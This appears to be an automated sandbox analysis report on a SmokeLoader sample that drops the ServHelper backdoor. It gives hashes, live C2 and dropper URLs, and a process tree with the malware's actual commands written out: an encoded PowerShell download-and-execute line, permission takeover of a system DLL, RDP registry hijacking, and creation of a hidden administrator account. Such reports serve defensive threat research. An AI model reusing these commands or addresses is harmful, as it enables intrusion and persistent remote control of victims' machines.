Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    20-10-2021 06:21

General

  • Target

    4d093da4d7c10d4b14a54f4793fee6ce.exe

  • Size

    233KB

  • MD5

    4d093da4d7c10d4b14a54f4793fee6ce

  • SHA1

    1d726d4ed85efb342065713c40f968f660029fe8

  • SHA256

    2d320ee3c680e6b5c2cbf5a781895dac33cf08190e3db8805dd9775ec4bd87d3

  • SHA512

    6ca23d7dca9ad314acc54f04186b0eaa96272a76a209c39edd897f27822c9e65a9e20f5736dbab5c06e7754fb442094dae88e178be1780670ba155d622b404a6

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe
    "C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1196
  • C:\Users\Admin\AppData\Local\Temp\9B55.exe
    C:\Users\Admin\AppData\Local\Temp\9B55.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n7skvntf.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:832
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD52B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD51A.tmp"
          4⤵
            PID:1548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:524
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1312
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1324
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1436
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1156
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:884
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1760
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1584
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1472
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:960
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:948
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1608
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:932
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1616
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1144
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                    PID:1912
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:920
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:1168
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:1164
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:996
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:1364
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:1396
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1532
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:1684
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:1936
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:1156
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:1576
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc BpyP7pkd /add
                                    1⤵
                                      PID:1684
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc BpyP7pkd /add
                                        2⤵
                                          PID:1584
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc BpyP7pkd /add
                                            3⤵
                                              PID:656
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:756
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:852
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:632
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                1⤵
                                                  PID:1740
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                    2⤵
                                                      PID:1912
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                        3⤵
                                                          PID:1532
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:892
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:1156
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:1436
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc BpyP7pkd
                                                            1⤵
                                                              PID:1612
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc BpyP7pkd
                                                                2⤵
                                                                  PID:1584
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc BpyP7pkd
                                                                    3⤵
                                                                      PID:656
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:1808
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:756
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:2044
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1936
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:1436
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:1764
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1056

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/524-113-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/524-116-0x0000000002852000-0x0000000002854000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/524-114-0x0000000002850000-0x0000000002852000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/524-118-0x0000000002854000-0x0000000002857000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/524-119-0x0000000002857000-0x0000000002858000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/524-117-0x000000000285C000-0x000000000287B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/524-115-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/780-66-0x00000000410D4000-0x00000000410D6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/780-67-0x00000000410D6000-0x00000000410D7000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/780-68-0x00000000410D7000-0x00000000410D8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/780-63-0x00000000410D2000-0x00000000410D4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/780-64-0x0000000041550000-0x000000004194F000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/832-86-0x0000000002040000-0x0000000002042000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1056-166-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1056-167-0x0000000000950000-0x0000000000952000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1056-170-0x000000000095B000-0x000000000097A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1056-169-0x0000000000954000-0x0000000000957000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1056-168-0x0000000000952000-0x0000000000954000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1136-92-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1136-96-0x0000000002902000-0x0000000002904000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1136-98-0x0000000002907000-0x0000000002908000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1136-95-0x000000000290C000-0x000000000292B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1136-97-0x0000000002904000-0x0000000002907000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1136-93-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1136-94-0x0000000002900000-0x0000000002902000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1196-57-0x0000000000400000-0x0000000002F02000-memory.dmp

                                                                          Filesize

                                                                          43.0MB

                                                                        • memory/1196-54-0x000000000338D000-0x0000000003396000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/1196-56-0x00000000003C0000-0x00000000003C9000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/1196-55-0x0000000074F21000-0x0000000074F23000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1200-58-0x0000000002970000-0x0000000002986000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/1868-73-0x0000000002412000-0x0000000002414000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1868-75-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1868-74-0x0000000002414000-0x0000000002417000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1868-72-0x0000000002410000-0x0000000002412000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1868-76-0x000000000241B000-0x000000000243A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1868-71-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1868-88-0x000000000243D000-0x000000000243E000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1868-70-0x000007FEFB561000-0x000007FEFB563000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1928-102-0x000007FEEA7F0000-0x000007FEEB34D000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1928-103-0x0000000002760000-0x0000000002762000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1928-104-0x0000000002767000-0x0000000002768000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1928-106-0x000000001B900000-0x000000001BBFF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1928-105-0x0000000002762000-0x0000000002764000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1928-107-0x0000000002764000-0x0000000002767000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1928-110-0x000000000276C000-0x000000000278B000-memory.dmp

                                                                          Filesize

                                                                          124KB